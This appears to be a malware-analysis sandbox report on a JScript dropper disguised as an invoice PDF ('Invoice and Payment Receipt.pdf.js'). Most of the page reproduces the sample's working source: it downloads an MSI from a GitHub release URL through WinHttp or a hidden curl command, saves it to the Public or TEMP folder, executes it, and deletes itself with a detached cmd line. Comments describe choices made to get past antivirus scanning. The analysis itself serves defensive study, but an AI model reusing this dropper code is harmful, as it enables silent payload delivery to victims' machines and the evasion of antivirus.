Hostile 92% javascript Download

Invoice%20and%20Payment%20Receipt.pdf.js

Dropper downloads and executes MSI

JScript/WSH Downloader with file writeActiveX, binary stream write and shell clues
SHA-2561c445b6cc0feeca3794cca590713d6b2bf089e1e42e250a010fdeebd7f2bea3b

Evidence

ADODB.Stream SaveToFile method call lines 1–48
1// build_218d1744ce52b451
2// dropper.js — run with: wscript dropper.js
3
4var fileName = "file.msi";
5var downloadURL = "https://github.com/smart4565/my-app/releases/download/f/file.msi";
6
7var publicPath = "C:\\Users\\Public\\" + fileName;
8var tempPath = getTempPath() + "\\" + fileName;
9
10function getTempPath() {
11 var shell = new ActiveXObject("WScript.Shell");
12 return shell.ExpandEnvironmentStrings("%TEMP%");
13}
14
15function fileExists(path) {
16 try {
17 var fso = new ActiveXObject("Scripting.FileSystemObject");
18 return fso.FileExists(path);
19 } catch (e) {
20 return false;
21 }
22}
23
24function tryWinHttp(url, dest) {
25 try {
26 var http = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
27 http.Open("GET", url, false);
28 http.SetTimeouts(10000, 10000, 30000, 30000);
29 http.Send();
30 if (http.Status !== 200) return false;
31
32 var stream = new ActiveXObject("ADODB.Stream");
33 stream.Type = 1;
34 stream.Open();
35 stream.Write(http.ResponseBody);
36 stream.SaveToFile(dest, 2);
37 stream.Close();
38 return true;
⋯5 lines
44function tryCurl(url, dest) {
45 try {
46 var shell = new ActiveXObject("WScript.Shell");
47 var cmd = 'cmd.exe /c curl -L -s -o "' + dest + '" "' + url + '"';
48 var rc = shell.Run(cmd, 0, true);
WScript host member reference lines 61–98
61:11… xecute(path) {
62 try {
63 var app = new ActiveXObject("Shell.Application");
64 app.ShellExecute(path, "", "", "open", 1);
65 return true;
66 } catch (e) {
⋯4 lines
71function selfDeleteNow() {
72 try {
73 var shell = new ActiveXObject("WScript.Shell");
74 var self = WScript.ScriptFullName;
75 // start /b detaches cmd from wscript's process tree so it survives WScript.Quit.
76 // ping delay lets wscript fully release the file lock; retry loop covers AV scan hold.
77 shell.Run('cmd.exe /c start "" /b cmd.exe /c ping -n 4 127.0.0.1 >nul & del /f /q "' + self + '" & if exist "' + self + '" (ping -n 3 127.0.0.1 >nul & del /f /q "' + self + '")', 0, false);
78 } catch (e) {}
79}
80
81// ===== MAIN =====
82var ok = false;
83
84// 1) Try Public first (survives RDP + AV better)
85if (download(downloadURL, publicPath)) {
86 ok = execute(publicPath);
87}
88
89// 2) Fall back to TEMP
90if (!ok) {
91 if (download(downloadURL, tempPath)) {
92 ok = execute(tempPath);
93 }
94}
95
96// Delete this script and exit.
97selfDeleteNow();
98WScript.Quit(0);

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.